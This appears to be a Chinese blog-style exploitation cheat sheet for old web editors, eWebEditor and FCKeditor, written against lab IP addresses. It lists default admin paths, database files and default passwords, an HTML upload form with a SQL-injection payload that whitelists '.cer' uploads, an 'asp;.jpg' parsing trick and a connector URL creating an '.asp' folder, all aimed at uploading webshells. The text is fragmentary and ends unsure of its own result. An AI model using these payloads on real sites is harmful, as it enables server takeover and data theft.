编辑器漏洞

常见的有Ewebeditor,fckeditor,ckeditor,kindeditor

链接：https://pan.baidu.com/s/18gW9bWE5LjbvNYwD8hGyPQ?pwd=uqk1

提取码：uqk1

Ewebeditor利用核心：

默认后台：www.xxxx.com/ewebeditor/admin_login.asp

默认数据库：ewebeditor/db/ewebeditor.mdb

默认账号密码：admin admin/admin888

访问：

删除.mdb:

访问：http://192.168.1.103:81/eWebEditor/db/ewebeditor.mdb

便可以下载】

https://blog.csdn.net/qq_43543789/article/details/104623271#:~:text=%E4%BA%8C%E3%80%81%E6%82%A8%E7%9A%84%E8%BF%9E%E6%8E%A5%E4%B8%8D%E6%98%AF%E7%A7%81%E5%AF%86%E8%BF%9E%E6%8E%A5%201%E3%80%81%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95%E4%B8%80%EF%BC%9A,1%E3%80%81%E9%A6%96%E5%85%88%E6%8C%89%E7%BB%84%E5%90%88%E9%94%AEwin%2Br%E6%89%93%E5%BC%80%E8%BF%90%E8%A1%8C%E7%AA%97%E5%8F%A3%EF%BC%8C%E8%BE%93%E5%85%A5mmc%E5%B9%B6%E6%8C%89%E5%9B%9E%E8%BD%A6%EF%BC%8C%E5%A6%82%E5%9B%BE%E6%89%80%E7%A4%BA%EF%BC%9A%202%E3%80%81%E8%B0%83%E5%87%BA%E6%8E%A7%E5%88%B6%E5%8F%B0%E7%AA%97%E5%8F%A3%E5%90%8E%EF%BC%8C%E7%82%B9%E5%87%BB%E6%96%87%E4%BB%B6%EF%BC%8C%E9%80%89%E6%8B%A9%E6%B7%BB%E5%8A%A0%2F%E5%88%A0%E9%99%A4%E7%AE%A1%E7%90%86%E5%8D%95%E5%85%83%EF%BC%8C%E5%A6%82%E5%9B%BE%E6%89%80%E7%A4%BA%EF%BC%9A%203%E3%80%81%E6%89%BE%E5%88%B0%E2%80%9C%E8%AF%81%E4%B9%A6%E2%80%9D%E9%80%89%E9%A1%B9%EF%BC%8C%E7%82%B9%E5%87%BB%E2%80%9C%E6%B7%BB%E5%8A%A0%E2%80%9D%EF%BC%8C%E5%A6%82%E5%9B%BE%E6%89%80%E7%A4%BA%EF%BC%9A

或者右键点击权限：

博主用win7虚拟机试了试

好像账号是administrator 密码是xp的密码

样式管理设置一下，一定要有插入图片：

可以上传木马，jsp或者asp

或者打开html文件，内容为：

<form action="http://192.168.1.102:82/eWebEditor/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">

<input type=file name=uploadfile size=100><br><br>

<input type=submit value=Fuck>

</form>

也能上传木马

FCKeditor

查版本：

FCKeditor/_whatsnew.html

上传木马点：

/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

上传asp马：

test.asp;.jpg

上传asp马，找解析漏洞

我们这里创建文件夹，带asp的文件夹的文件在iis中间件中会当asp解析

http://192.168.1.102:82//fckeditor//editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo.asp&NewFolderName=xx.asp

上传木马:

访问地址：

userfiles/image/名称

应该成功了：

作者不清楚是哪里的问题；